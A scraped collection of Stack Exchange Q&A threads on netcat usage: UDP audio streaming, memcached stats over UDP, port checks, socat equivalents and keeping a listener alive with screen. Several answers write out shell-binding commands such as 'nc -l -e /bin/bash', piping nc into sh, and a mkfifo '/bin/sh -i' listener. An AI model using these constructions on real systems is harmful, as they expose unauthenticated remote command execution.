I believe that you can send packets going out (to the outside) from any port to see which ports are being blocked in the outgoing direction without any security issue. But even to do that, you need some external address to send your packets to.
Trying to scan from outside to such firewalled computer may easily be seen as an attack and you may get banned or blocked even more than you are now. To actually perform such scan from the outside the best is to inform and ask for permission from the network managers in such system.
| How to scan outbound closed ports with nmap? |
1,555,301,253,000 |
This to my understanding records mono in wav format for 300 seconds to a named pipe called "mic_rec"
rec arecord -D hw:4,0 -d 300 -f cd -t wav -c 1 mic_rec
And this sends whatever it finds in the named pipe "mic_rec" via tcp out to port 8111
cat mic_rec |netcat -l -p 8111
UDP
cat mic_rec |netcat -u -l -p 8111
receiving with TCP (works):
netcat 192.168.2.29 8111 |vlc -
receiving with UDP (does not):
netcat -u 192.168.2.29 8111 |vlc -
This (using TCP) works but it has about 2 seconds of delay. So my first idea was just switching to UDP with the -u parameter. But this does not seem to work, I can't hear anything on the receiving end. What did I miss?
Pulseaudio seems to have an easier way to do this. But to my knowledge the device I use (NanoPi Neo 1.4) does not support that.
|
I think using UDP will not necessarily by itself solve the problem with latency. This answer just tries to explain why your attempt with UDP did not work at all.
UDP is a connectionless protocol, there is no handshake. This means your netcat that "listens" (netcat -l) does not know where to send data to, until it receives something from your netcat (or whatever) that "connects". Your netcat that "connects" does not send anything by itself though.
Send something, anything from the netcat that "connects". Without changing your commands, you can do this by typing something (in the terminal where it runs) and hitting Enter; try it. Alternatively, modify the command and pipe echo foo to netcat, so it sends foo without waiting for any input from you:
echo foo | netcat -u 192.168.2.29 8111 | vlc -
The "listening" netcat will print foo. Frankly sole echo instead of echo foo is enough, it prints one newline character that will get to the "listening" netcat that will notice where it came from.
This way the "listening" netcat will learn where to send data to and it will start doing it.
With TCP there is no such problem because the listening end learns the address and the port of the connecting end during handshake, before any actual data is sent in any direction.
| send (alsa) audio via network via UDP |
1,555,301,253,000 |
I am facing a problem using netcat in a bash script.
I would like to match a specific output after sending a command and continue the script execution as soon as possible (not waiting for a netcat timeout)
$> echo 'my_command' | nc -q 10 <IP> <PORT> | grep -m 1 EXPECTED_OUTPUT
# ISSUE: Closes the connection quite instantly
$> echo $?
$> 1 # grep did not get (yet) the output of nc
Another try:
$> echo 'my_command' | nc -w 1 <IP> <PORT> | grep -m 1 EXPECTED_OUTPUT
Binary file (standard input) matches
# ISSUE: Wait until the timeout expires
$> echo $?
$> 0
For information:
without command, netcat prints a banner message:
$>nc <IP> <PORT>
welcome message
I am not against other tools (telnet, ...)
I would like a bash-compliant solution.
As the expected message should come within a second I use the timeout -w 1 of nc
|
You want to set it up so that nc is killed as soon as grep finishes. Here is one way:
( subshell_pid=$BASHPID ; echo 'my_command' | nc $IP $PORT > >(grep -m 1 EXPECTED_OUTPUT ; kill -13 -- -$subshell_pid ; ) )
This all runs in a subshell, and then kills all processes started by the subshell when grep finishes.
The >() is process substitution, which lets you pipe from one command to multiple commands.
| Stop netcat as soon as grep matches something |
1,555,301,253,000 |
I have this pipeline:
( tail -f ${named_pipe} | nc localhost ${port} | ql_conditional_release &> "$HOME/debug.log" & disown; ) &> /dev/null
so I am reading from the netcat connection.
How can I write to that same connection? It should be two-way.
Basically if a condition is met in the ql_conditional_release function, I want to respond/write back to the same socket connection. No idea how to do that though.
|
Make the script echo into ${named_pipe}.
| Read and write to same netcat tcp connection |
1,555,301,253,000 |
I am attempting to send the stats command to memcached via netcat, however, I am not getting anything back from memcached...
I have tried
echo "stats" > commands.txt
nc -u 127.0.0.1 11211 < commands.txt
I have also tried
echo stats | nc -u 127.0.0.1 11211
From what I have read on the bottom of the Memcached Documentation, line 1176, the command when being sent might have to include
Each UDP datagram contains a simple frame header, followed by data in the
same format as the TCP protocol described above. In the current
implementation, requests must be contained in a single UDP datagram, but
responses may span several datagrams. (The only common requests that would
span multiple datagrams are huge multi-key "get" requests and "set"
requests, both of which are more suitable to TCP transport for reliability
reasons anyway.)
The frame header is 8 bytes long, as follows (all values are 16-bit integers
in network byte order, high byte first):
0-1 Request ID
2-3 Sequence number
4-5 Total number of datagrams in this message
6-7 Reserved for future use; must be 0
My question is, How do I send the stats command via udp to Memcached using netcat?
|
The following worked, You must specify the frameheader
printf '\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n' | nc -u 127.0.0.1 11211
| Send UDP Packet to Memcached via Netcat |
1,555,301,253,000 |
how can i monitor netcat transferring from android to my linux machine
i used this command on android device ( sender ) to make a full dump for my device :
dd if=/dev/block/mmcblk0 | busybox nc -l -p 8888
on receiver side i use this command :
nc 127.0.0.1 8888 > device_image.dd
i need to watch the progress with pv how can i do it ?
thank
|
Inserting pv in your receive-side pipeline should allow you to observe progress:
nc 127.0.0.1 8888 | pv >device_image.dd
If you had pv available on the sending side, you could also use it there:
dd if=/dev/block/mmcblk0 | pv | busybox nc -l -p 8888
But pv probably won't be available on your Android device unless you installed it there.
| watch netcat transfer dump from android to pc |
1,555,301,253,000 |
I have two files, client.sh and server.sh, all the necessary data is on the server, which is sent to the client using netcat, the client just get these data and display it to the end user, the problem is when the server send some multiline code, the client just receive it as text and display on screen
client.sh
ip=127.0.0.1
client_port=5678
server_port=8765
while :
do
# Request the menu from the server
echo menu > /dev/tcp/"$ip"/"$server_port"
# Waits the server response
nc -l $porta_cliente
done
server.sh
ip=127.0.0.1
porta_cliente=5678
porta_servidor=8765
while :
do
nc -vv -l $porta_servidor > logservidor
echo "Texto recebido: "`cat logservidor` # LOG
case `cat logservidor` in
"splash")
echo "dialog --stdout --msgbox 'SPLASH' 0 0" > /dev/tcp/"$ip"/"$porta_c$
;;
"menu_inicial")
nc $ip $porta_cliente <<-EOF
dialog --stdout --backtitle 'Bem vindo ao SEPA 0.1' --title 'Me$
Cadastrar 'Criar um novo usuário' \
Entrar 'Fazer login com sua conta' \
Sair 'Encerrar o SEPA'
# Caso o usuário selecione Cancelar, a execução do script será $
if [ $? -eq 0 ]; then
echo SUCESSO
else
rm resposta_servidor dados_digitados 2> /dev/null
clear
exit
fi
EOF
;;
"menu_principal")
echo "dialog --msgbox 'MENU_PRINCIPAL' 0 0" > /dev/tcp/"$ip"/"$porta_cl$
;;
*)
dialog --msgbox 'WTF?!' 0 0 > /dev/tcp/"$ip"/"$porta_cliente"
;;
esac
done
|
You can pipe the output of netcat into the shell
nc -l $porta_cliente | sh
however, on a socket with no authentication whatsoever, be extremely careful as this could allow anyone to execute arbitrary code on the client machine.
This method is extremely bad practice and you should consider different approaches.
| How can i execute text as code from server to client on shell script (netcat) |
1,555,301,253,000 |
On Dubian, I can do the following using netcat (aka nc, ncat):
michael@pi1:~ $ nc -zv 10.120.11.1 20 21 22 23 24
nc: connect to 10.120.11.1 port 20 (tcp) failed: Connection refused
Connection to 10.120.11.1 21 port [tcp/ftp] succeeded!
Connection to 10.120.11.1 22 port [tcp/ssh] succeeded!
Connection to 10.120.11.1 23 port [tcp/telnet] succeeded!
nc: connect to 10.120.11.1 port 24 (tcp) failed: Connection refused
michael@pi1:~ $
man nc on Dubian shows the following:
-z Specifies that nc should just scan for listening daemons, without sending any data to them. It is an error to use this option in conjunction with the -l option.
On Centos7, I didn't originally have nc, so added using sudo yum install nmap-ncat.x86_64.
But, the -z flag is not supported.
[michael@box1 ~]$ nc -zv 10.255.255.1 22
nc: invalid option -- 'z'
Ncat: Try `--help' or man(1) ncat for more information, usage options and help. QUITTING.
[michael@box1 ~]$
|
Yea, I found that out as well that nc didn't support -z. I wonder why they dropped it. You could install an older version of ncat, or just use nmap.
Nmap
nmap -sT -p <port>
| Check if remote port is reachable using Centos [duplicate] |
1,555,301,253,000 |
I have tried using nc to chat and transfer files over my local network. However, I am having trouble doing it over internet (with my friend). While doing it locally, i would be using ifconfig to view my ip address. I see only one ipv4 address. I am pretty sure this address cannot be used to connect to my friend, as I have tried. Is it their public ip address we have to use in order to establish a connection? If yes, I've tried that too. My main problem is to find out which ip address to use for connection over internet. BTW I am listening while my friend is connecting to my open port.
|
The IP address you see using ifconfig is your IP address for your local network only. It is a private address (192.168, right?) and can not be used to communicate over the internet. Your router performs Network Address Translation to convey data between sites you visit and your computer. What you and your friend would have to do is set up port forwarding between your modem/router/etc to your respective computers, both of which are running netcat.
| Chat with friend using netcat |
1,555,301,253,000 |
I know I can spawn the shell on server side using:
nc -l 1111 -e /bin/bash
But I want to spawn the shell on the client side.
I tried doing: nc 127.0.0.1 1111 | /bin/bash
It works but I can't see the output of the executed commands.
So the question is, is there any way to spawn the shell on the client side using netcat?
|
Seems to work for me, though depends on the version of netcat. Debian has packaged two: "netcat-traditional" and "netcat-openbsd". The former supports -e in both client and server mode, the latter doesn't support it at all.
$ nc.traditional localhost 1234 -e /bin/bash
$ nc.openbsd localhost 1234 -e /bin/bash
nc.openbsd: invalid option -- 'e'
The one on my OSX doesn't support it either.
If you need to do this with a netcat that doesn't support -e, you may need something like this: How to make bidirectional pipe between two programs?
| How to spawn a shell using netcat on the client side? |
1,555,301,253,000 |
I have a squid proxy running in a docker container, started like this:
docker run --privileged -d --publish=3128:3128 --name foo squid
I want to get some information from it, from another container called bar.
docker run --rm -it --name bar ubuntu:trusty bash
If I run this in the bar container:
nc 172.17.0.1 3128
HEAD /
Then I get some output from the server. But if I run this:
echo 'HEAD /' | nc 172.17.0.1 3128
I get nothing. Why not?
|
Probably because netcat exits
shortly after getting an end-of-file on its standard input. Try
(echo 'HEAD /'; sleep 5) | nc 172.17.0.1 3128
to keep netcat's local input open long enough
for it to read the network data and write it to the standard output.
The 5 is the number of seconds to delay.
Netcat has an option to deal with this. If you specify a negative quit timeout, it will wait for the network connection to close instead of quitting after EOF on stdin:
echo 'HEAD /' | nc -q -1 172.17.0.1 3128
| Can't pipe into netcat |
1,555,301,253,000 |
Testing a simple HTTP request using nc:
$ printf 'GET / HTTP/1.1\r\nHost: mozilla.org\r\nAccept: */*\r\n\r\n' | nc mozilla.org 80
HTTP/1.1 301 Moved Permanently
Content-Type: text/html
Date: Thu, 10 Mar 2016 23:07:31 GMT
Location: https://www.mozilla.org/
Connection: Keep-Alive
Content-Length: 0
But most hosts result in no output. Using the -v option result is positive:
Connection to stackoverflow.com.com 80 port [tcp/http] succeeded!
Connection to reddit.com 80 port [tcp/http] succeeded!
Using the -D option one line is given:
nc: Permission denied
What is the reason for this?
|
You may want -q 1 (or 2 or 3 or something) as otherwise nc will exit before the remote server has issued its response.
-D probably requires root.
| Empty response on HTTP request with netcat |
1,555,301,253,000 |
I want (as a first step towards an external mysql proxy) reroute traffic from the local connection of mysql (on a VM) to an external proxy (on the host) which then routes it back to the VM which will then give it to the mysql server. I am using this setup as the only thing I want to manipulate is the mysql configuration (the used port) to be mostly webapp independent.
Should look roughly like this:
MYSQLClient
|
:4446 incoming connection on port of guest (1)
+--------------:3305+ rerouted to host (2)
|
+:8888--------------+ which then routes it back to the guest (3)
|
:4444 which is then routed to the MYSQLServer port (4)
|
MYSQLServer
I am using for the different steps
(1) nc -k -l -v 4446 | nc 192.168.72.1 3305
(2/3) nc -k -l -v 3305 | nc 192.168.72.128 8888
(4) nc -k -l -v 8888 | nc localhost 4444
I configured mysql to listen on port 4444.
I want to keep (4) even though you could configure mysql to listen on external connections as well to keep changes to the config file to a minimum and let mysql think that the connection established comes from localhost.
Now to the problem I am experience:
I cannot use an arbitrary order of the commands. I have to use the inverse order as else no connection will be established and it breaks as soon as I try to send data. This will give me a major headache as soon as I'll try to automize that setup as it seems to be impossible to time that within startup of the guest system.
it does not work with mysql. Telnet does, though, as long as you leave out the nc to the mysqlserver port. But as soon as this is used, as well, (4) will break when trying to connect with telnet. Connecting with the mysql client will not have any effect at all and plainly not work - no connection will be established and after entering the password for mysql nothing will happen anymore.
Am I completely insane by considering this setup? If not how can I make it (realiably) work?
A solution not involving nc and solving the overall question as described in the first paragraph will just as happily be accepted as fixing the nc setup. The problem described above shall only describe my current approach for a solution.
|
redir is far more appropriate than nc for redirecting ports.
While nc is more lightweight and appropriate for one-shot tests, for more serious use redir is more appropriate; nc also does not lends itself to handle reconnections or errors without the support of auxiliary tools and more complicated setups like having xinetd.
redir is also a very lightweight tool that handles pretty well redirecting one TCP port to another with the inherent retries/error handling.
Tcp port redirections with redir
Suppose that the ip address of our system is 1.1.1.1 and we would like
to redirect all the traffic which coming from port 80 to a remote
server with ip address of 2.2.2.2 and port 8080. Simply, we want redir
utility to redirect connections coming to 1.1.1.1 on port 80 to
2.2.2.2 port 8080. We have to run redir such as below to do so:
redir --laddr=1.1.1.1 --lport=80 --caddr=2.2.2.2 --cport=8080
| Reroute mysql connection through external machine |
1,555,301,253,000 |
How to make nc client on OS X Mavericks keep socket open and read data until server disconnects the socket?
I want to send data to a server through nc and then use the response. Problem is that nc disconnects the socket after the data has been sent, without waiting for the server's response.
This will just write the data then exit:
$ echo "my instruction here" | nc 127.0.0.1 $MY_PORT
This will write the data and then not exit even though the server has disconnected:
$ cat <(echo "my instruction here") - | nc 127.0.0.1 $MY_PORT
The nc man page on OS X Mavericks have the following example for sending a HTTP GET request and printing the response, but it's not working. It just sends the request then exits without waiting for the server's response. Seems like the man page's information is incorrect?
$ echo -n "GET / HTTP/1.0\r\n\r\n" | nc host.example.com 80
|
A workaround is to keep writing something to the socket - once data can't be written nc will exit.
(echo -ne "GET / HTTP/1.0\r\n\r\n"; (while true; do echo -e "\n"; sleep 1; done)) | nc example.com 80
This will send empty line to nc once every second until nc can't write to socket and nc will exit.
Thanks to Steffen Ullrich for his answer and comments that guided me to this solution.
| nc not waiting for server disconnect on OS X |
1,555,301,253,000 |
I have access to just *nix systems. Either NetBSD and/or bare Linux-based OS.
So my question comes from the fact that ADB is not widely available on all platforms, if so is very hard to install or obtain (having access to internet, get super user access, etc).
Anyways, RNDIS functionality is already offered by almost all Android devices. Allowing the phone to become a "router" will give me the option to use netcat because I can just set up a "server" and get/receive files bidirectionally, without the need of getting ADB involved.
Like this:
NetBSD
dhcpcd -n urndis0
Linux
udhcpd -i usb0
That will give me an IP within a subnet set up by Android. Something like: 192.168.32.225/24
So, essentially the phone acts as a router, giving my *nix computer an IP belonging to a subnet set up by the phone itself. I would like to just open a port on my localhost 127.0.0.1 with netcat and just transfer files.
Something like this:
On Android device:
busybox nc -v -w3 -l -p 3838
On *nix system (Linux in the example below):
nc -v -w3 **(upper higher loopdevice outside subnetted network) 127.0.0.24** 3838
And be able to access the "higher" network/loopdevice already existing within Android's own local network.
Let's assume the Android phone is another host sharing it's connection and assigning a subnet IP to my computer for that matter so my *nix box can access the internet:
My question is then: Can I use the the IP (which is within a subnet) provided by the RNDIS interface of the Android phone to access the local network of the phone itself with just standard tools in *nix?
Solution
@Frédéric Loyer Thank you very much!
Wonderful, with this method there is no need for me to get adb on each computer I'm on, most of the time what I got is busybox nc and or ssh. This is perfect, with this I can even ssh into my Android without even needing an active connection on the phone itself, isn't amazing!?
Here is what I did.
# This makes my computer to request an IP to my phone.
$sudo udhcpc -i usb0
# Since I got access to busybox-only most of the time, this gives me the IP from the "router" which is the phone.
$route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
default 192.168.42.129 0.0.0.0 UG 0 0 0 usb0
127.0.0.1 * 255.255.255.255 UH 0 0 0 lo
192.168.42.0 * 255.255.255.0 U 0 0 0 usb0
# ifconfig output shows me the new IP assigned to usb0 on my computer.
After this is just a matter of ssh'ing onto my phone or open ports with Termux. Amazing! :)
|
On the Android phone, you have typed :
busybox nc -v -w3 -l -p 3838
This seems Ok.
On Linux, type ip route. You should have something like this :
default via 37.59.40.254 dev enp1s0 onlink
37.59.40.0/24 dev enp1s0 proto kernel scope link src 37.59.40.118
The line with the default route indicates the router address. (Here 37.59.40.254). You should try to type nc from Linux with this router address since it is the Android address on the RNDIS subnet. You should type only one IP address : no 127.0.0.24. (127 adresses are reserved for internal exchanges within your Linux system).
There are no such things as slicing here : the Android creates a network which maybe 192.168.32.0/24. On this network there are two addresses defined (one for both end), other addresses may not work.
| How to "talk" to a "parent" IP in a subnet? |
1,555,301,253,000 |
Traceroute has an -i flag,
-i interface, --interface=interface Specifies the interface through which traceroute should send packets. By default, the interface is selected according to the routing table.
ping also provides this with -I. Netcat has no such flag. Is there an easy work around for nc?
|
A good workaround for netcat: socat. This tool can do anything netcat can do, and much much more.
On Linux socat provides the so-bindtodevice= option matching the SO_BINDTODEVICE socket option.
Example, to listen on tcp port 4444 binding to interface veth0 (to force OS to use routes related to this interface), with other options similar to using (OpenBSD variant) nc -k -l -p 4444:
socat tcp4-listen:4444,so-bindtodevice=veth0,reuseaddr,fork -
Which can be checked for example like this:
$ ss -tln sport == 4444
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 5 0.0.0.0%veth0:4444 0.0.0.0:*
One can also bind as client if that's the need, or even bind differently to the left side socket and the right side socket if using two sockets as parameters.
If one knows of an other equivalent socket option on an other *NIX-like OS that would implement the same feature, and socat doesn't explicitly implement it, one can still use the generic setsockopt and setsockopt-listen options to activate it (after retrieving adequate constants from adequate include files).
| Netcat with device or interface flag? |
1,555,301,253,000 |
I have the following lines in a script file to wait until port 1521 is open in server1 AND server2 are open and then execute start_apps.sh script.
How can I modify this to wait until port 1521 is open in either one of the servers (server1 OR server2) and then execute the start_apps.sh script?
until (nc -z server1 1521); do echo "$(date +'%Y-%m-%d %T') wait for server1";done
until (nc -z server2 1521); do echo "$(date +'%Y-%m-%d %T') wait for server2"; done
start_apps.sh
|
I would use a loop that does non-blocking checks. Something like:
#!/bin/sh
while [ 1 ]; do
if [ $(nc -z server1 1521) ] || [ $(nc -z server2 1521) ]; then
break
fi
sleep 1 # if desired
done
start_apps.sh
This loop will run until either condition is met.
| How to use netcat to check ports on more than one remote server? |
1,555,301,253,000 |
I'm continuously sending packets to a UDP server after 1 second. To listen for UDP packets:
ncat -klup 1234 --sh-exec "cat > /proc/$$/fd/1"
However, after printing 100 packets, nothing else prints. With Wireshark I can see that packets are still being sent but on the server side nothing prints.
$ ncat -klup 1234 --sh-exec "cat > /proc/$$/fd/1"
Hello Server!
1 Send
2 Send
3 Send
4 Send
5 Send
6 Send
7 Send
8 Send
9 Send
10 Send
11 Send
12 Send
13 Send
14 Send
15 Send
16 Send
17 Send
18 Send
19 Send
20 Send
21 Send
22 Send
23 Send
24 Send
25 Send
26 Send
27 Send
28 Send
29 Send
30 Send
31 Send
32 Send
33 Send
34 Send
35 Send
36 Send
38 Send
39 Send
40 Send
41 Send
42 Send
43 Send
44 Send
45 Send
46 Send
47 Send
48 Send
49 Send
50 Send
51 Send
52 Send
53 Send
54 Send
55 Send
56 Send
57 Send
58 Send
59 Send
60 Send
61 Send
62 Send
63 Send
64 Send
65 Send
66 Send
67 Send
68 Send
69 Send
70 Send
71 Send
72 Send
73 Send
74 Send
75 Send
76 Send
77 Send
78 Send
79 Send
80 Send
81 Send
82 Send
83 Send
84 Send
85 Send
86 Send
87 Send
88 Send
89 Send
90 Send
91 Send
92 Send
93 Send
94 Send
95 Send
96 Send
98 Send
99 Send
100 Send
101 Send
Regardless of how many times I try is always stops after 100 packets.
|
Stated in the ncat(1) man page
-m numconns, --max-conns numconns (Specify maximum number of
connections)
The maximum number of simultaneous connections accepted by an
Ncat instance. 100 is the default (60 on Windows).
100 is the default maximum number of connections. It can be modified with the -m flag.
| ncat stops listening after 100 UDP packets |
1,555,301,253,000 |
I would like to use netcat to listen to data and receive only ONE packet. How does one do this?
|
You can do nc -ulp 1234 -q1 < /dev/null to receive just the first one.
It's not great, as it relies on the timeout, but it should work unless your system is completely overloaded. Good enough for a one-off.
| Receive only ONE packet using netcat |
1,555,301,253,000 |
From my Android TV box, I would like to get my public IP and other related info from ifconfig.co, but it does not seem to work. If I try this code, it works fine:
adb -s 192.168.1.125:5555 shell netcat icanhazip.com 80 <<< $'GET / HTTP/1.1\nHost: icanhazip.com\n\n'
... while this one returns an empty string:
adb -s 192.168.1.125:5555 shell netcat ifconfig.co 80 <<< $'GET / HTTP/1.1\nHost: ifconfig.co\n\n'
On the other hand, both sites work fine with curl (from another machine).
My objective is to retrieve the page ifconfig.co/json using netcat (the only available tool on the TV box) directly from shell (using a single line command). Any help would be much appreciated!
|
Replace the site ifconfig.co with ipinfo.io
| Get my public IP from ifconfig.co using netcat |
1,555,301,253,000 |
I open a terminal window and connect to shell using netcat:
Terminal Window 1: nc hostname port
Then, I navigate to a directory and open a file,... etc (I would need to be able to do this myself, not automate it).
Can I then pipe the output of an executable on my computer to the netcat connection?
|
You could probably do it with a named pipe.
mkfifo ncpipe
nc hostname port < ncpipe
# --- In a galaxy far, far away (another terminal) ---
somecommand > ncpipe
However there are some issues with this... like, if you take too long, the connection might time out or whatever.
It's also possible to do this bi-directionally... I've used this some time ago to forward a local telnet port, not sure if it still works:
mkfifo send receive
> send &
> receive &
nc 127.0.0.1 23 < receive > send &
telnet_pid=$!
nc host port < send > receive &
server_pid=$!
wait $server_pid
kill $telnet_pid
rm send receive
Anyway, you can do weird things with named pipes. However you also have to be careful with them... if there is an old process that has the pipe open, unexpected output can appear. Best to create a shiny new clean pipe for each task and delete when done.
Port forwards in particular are done more easily (and securely) with SSH, but it's not always available. If available in your scenario, it might be preferable to just do:
somecommand | ssh user@host somereceiver
# or the other way around
ssh user@host somecommand | somereceiver
| Pipe Output of Executable to Existing Netcat Connection |
1,517,332,876,000 |
I want to get the behavior of "nc -z host port ; echo $?" with socat, since my network admins have disabled netcat. The purpose is just to test that a TCP connection is open between two servers. How would I go about doing this?
|
Hi if you want check connection between server with socat try below command and refer link ..
CWsocat [options] <address> <address>
CWsocat -V
CWsocat -h[h[h]] | -?[?[?]]
CWfilan
CWprocan
try this link for better understanding..
there are other method to check the connectivity..
| How to “nc -z <address>” with socat? |
1,517,332,876,000 |
I'm trying to use netcat to server some bash command results via a web interface, that stays running. The page is dynamic and needs to be updated upon loading.
Just an example with what I'm using:
#!/bin/bash
while true; do
{ echo -e 'HTTP/1.1 200 OK\r\n'; echo -e "Hello World"; } |
nc -k -l -p 8888
done
Unfortunately upon loading the page in a web browser, the page just hangs. If I go into CLI and kill the current connection loop, the page will instantly load.
This is happening on 2 servers but is running just fine on another so I'm finding it odd...
|
Debian 7u1 installs netcat with netcat-traditional which appears to have it's own set of problems, my original issue being one of them.
Removed netcat-traditional by running
apt-get remove netcat-traditional and installing the proper one with apt-get install netcat-openbsd everything works as it should!
| NetCat never ending http session |
1,517,332,876,000 |
I am trying to pull temperature and humidity data from Fluke DewK 1620a thermo-hygrometers and write the temp/humidity readings to a log. I can connect to the device via netcat with a simple 'nc 1.2.3.4 10001', run some basic commands and receive output. Now I'd like to construct a command line, I can put in a script that will send a command and write the output to a file.
If I run the following from the command line
$ echo "read?" | nc -v -i 1 1.2.3.4 10001
I receive:
Connection to 1.2.3.4 10001 port [tcp/scp-config] succeeded!
76.55,44.4,72.06,48.0
After the -i interval has elapsed, the connection closes and my prompt overwrites the temperature and humidity data.
I then tried the following:
echo "read?" | nc -v -i 1 1.2.3.4 10001 >> test.out 2>&1
The command executes and the 'test.out' file only contains the following for each execution.
Connection to 1.2.3.4 10001 port [tcp/scp-config] succeeded!
The temperature and humidity readings are not included in the file. Increasing the verbosity does not seem to help.
I know I'm probably missing something obvious, but I simply cannot see it. Any help would be greatly appreciated.
|
I'm not sure I'd call it an "answer" per se, but I was able to approximate what I was looking to do in a completely different way. Instead of nc, I've managed to get further along using a file descriptor on /dev/tcp.
exec 3<>/dev/tcp/${host}/${port}
echo -e "read?" >&3
cat <&3 | tee -a ${log}
exec 3<&-
exec 3>&-
There are still some issues I need to work out with this approach, but I am able to pull the data I need and get it into a log file. I'll try another post later if I can't figure out my niggling issues with this method myself.
| Capturing data from a Fluke 1620a via netcat |
1,517,332,876,000 |
I have this question because I want to know when we use netcat to do the traffic forwarding during 3 machine(A->B->C) ssh tunneling, is it possible for C to know A's IP address?
|
netcat is an _application layer tool. It operates at the higher layers of the OSI stack (layer 7). So in a naive setup, computer C can not directly see computer A; the source of the IP traffic will appear to be from B. At an IP layer, all traffic will look like it originated from B because the netcat application is initiating and making the connection.
However the OSI stack is limited in application; when you think of VPNs and protocol tunneling, it is possible to route IP (layer 3) over an application layer (layer 7); now things get more confusing.
So the answer depends on your setup.
And that's just the transport layer. Application layer data can easily leak source addresses. So C could learn A's address even if there's no direct communication between them.
| Which layer(IP/TCP?) is netcat/socat working on? |
1,517,332,876,000 |
How do I specify source port in socat?
In netcat I can simply:
nc -u -s 192.168.0.1 -p 8888 192.168.0.2 9999
I tried
socat udp4:192.168.0.2:9999 STDIN:192.168.0.1:8888
It's failed
STDIN: wrong number of parameters (2 instead of 0)
So how do I do it in socat?
|
To achieve the same behavior of nc -u -s 192.168.0.1 -p 8888 192.168.0.2 9999 using socat:
$ socat - UDP4:192.168.0.2:9999,bind=192.168.0.1:8888
| Socat specify source port |
1,517,332,876,000 |
I have a Linux based router that I’m trying to “control” with a home automation controller. On my automation controller I’m able to utilize a ‘two way strings’ driver to send a string to the Linux router upon the push of a button on the remote control. I’m wanting the string sent to be executed on the router.
I’m able to accomplish this by running the commands below while ssh’d into the router:
$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f
As long as I keep the terminal window open the automation controller is able to send strings that alter the iptables.
The problem I’m running into is that this does not persist after I close the ssh connection. Is there a way to have the router continue to listen and execute commands from the controller after ssh connection is closed?
Here is an example of the string I’m sending:
iptables%20-I%20INPUT%20-s%20192.168.1.214%20-j%20DROP%0A
Basically my end goal is to be able to drop traffic to a particular device on the network at the push of a button.
Security is not a concern as this is a home lab environment.
|
You can use screen to do this.
https://www.gnu.org/software/screen/
The steps are:
Open ssh session as normal.
Install screen. (If not already installed)
start a new screen session. (Just type screen and press enter)
Run your command as you have it
Type in ctrl + 'a' and then release both ctrl and a, and press 'd' to disconnect the screen session.
The session stays running in the background. Even if you log out and close out the ssh session completely.
If you're using an enterprise linux such as centos, you can use yum to install screen from the distribution's package repository.
yum -y install screen
If you're using a debian based OS try using:
apt-get install screen
Once installed start a new screen session by just typing screen.
[user@localhost ~]$ screen
Note: This will clear the screen and start a new session.
Run your command:
[user@localhost ~]$ rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f
Detach the screen session:
ctrl +a, d
[detached]
You can verify that your process is still running with netstat. If your OS supports it, you can use the -p flag to show the running process ID.
-p, --program
Show the PID and name of the program to which each socket belongs.
[user@localhost ~]$ netstat -anp | grep 1234
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.1:1234 0.0.0.0:* LISTEN 30599/nc
And you can use ps to show that the process is still running:
[user@localhost~]$ ps -ef | grep [3]1037
500 31037 31019 0 21:45 pts/2 00:00:00 nc -l 127.0.0.1 1234
Note: placing square braces '[]' around the first number of the pid,
is a little regex trick to avoid showing the grep process itself.
Essentially a false match, and not your actual process.
You can show the detached screen session with screen -ls
[user@localhost~]$ screen -ls
There is a screen on:
30562.pts-0.localhost (Detached)
1 Socket in /var/run/screen/S-user.
And you can re-attach to it with screen -r, or screen -x and the session name
[user@localhost ~]$ screen -x 30562.pts-0.localhost
| How to let process continue running even after disconnecting ssh? |
1,517,332,876,000 |
If i use netcat to listen to a port like so:
nc -l 5555, I can then go to localhost:5555 in my web browser and netcat will print the request. However, if I click refresh in my browser, netcat stops working. What is causing this?
I've found that specifying -k forces netcat to listen after the current connection completes, but I'm wondering what makes it close by default.
|
It closes because the browser opens a TCP connection, performs the HTTP transaction, and then says "I'm done!" which usually will close the connection. As you discovered, the -k switch will keep the listening socket open for further connections.
| What is making netcat close when I refresh my browser? |
1,517,332,876,000 |
I'm trying to send a binary packet to a local process, via netcat (nc), like this:
nc -w 1 -u localhost 10000 < my_binary_packet.bin
The output is:
read(net): Connection refused
Anyone know what's going on?
I get the same result with nc -w 1 -u 127.0.0.1 10000 < my_binary_packet.bin
|
Summary
If your listener is bound to a particular IP (such as 192.168.0.10) and port (such as 10000) instead of to IP INADDR_ANY (Internet Namespace Address Any, which means it listens to all interfaces / IP addresses), do this instead to specify the correct IP:
# with netcat
nc -w 1 -u 192.168.0.10 10000 < my_binary_packet.bin
# OR (same thing), with socat
socat udp:192.168.0.10:10000 - < my_binary_packet.bin
Details
Ok so I figured it out!
I wrote the local listener process (UDP "server/listener") I was trying to send the binary packet to (from a UDP "client/sender"), and I had bound that socket to a particular IP address, 192.168.0.10, instead of to the "catch-all" IP address INADDR_ANY. Binding to that particular IP address means that my listener process is NOT listening to localhost (127.0.0.1), so those packets were getting rejected! I didn't know that you could send a process running on the same PC some data by using anything other than localhost or 127.0.0.1, but apparently you can.
So, this works instead:
nc -w 1 -u 192.168.0.10 10000 < my_binary_packet.bin
The timeout/wait period of 1 second (-w 1), however, doesn't seem to do anything--I'm not sure why. It just sits there after it sends the packet, and I have to Ctrl + C the nc process after it sends, if I want to send it again. That doesn't really matter though--the point is: it works!
I also carefully read the comments under my question, so here's some more information for anyone wondering:
The equivalent socat command is this (don't forget the - in the command!):
socat udp:192.168.0.10:10000 - < my_binary_packet.bin
Also, here are my versions of netcat and socat on the embedded Linux board.
# nc -h
GNU netcat 0.7.1, a rewrite of the famous networking tool.
# nc -V
netcat (The GNU Netcat) 0.7.1
Copyright (C) 2002 - 2003 Giovanni Giacobbi
# socat -V
socat by Gerhard Rieger and contributors - see www.dest-unreach.org
socat version 1.7.3.4 on May 6 2022 17:55:04
Going further
How to build a binary packet in C or C++ to send via netcat or socat
Lastly, for anyone wondering, the way I wrote the binary packet my_binary_packet.bin is by simply writing some C code to write a packed struct to a file using the Linux write() command.
Writing the packet to a binary file like this allows for easy testing via netcat or socat, which is what drove me to ask the question when it didn't work.
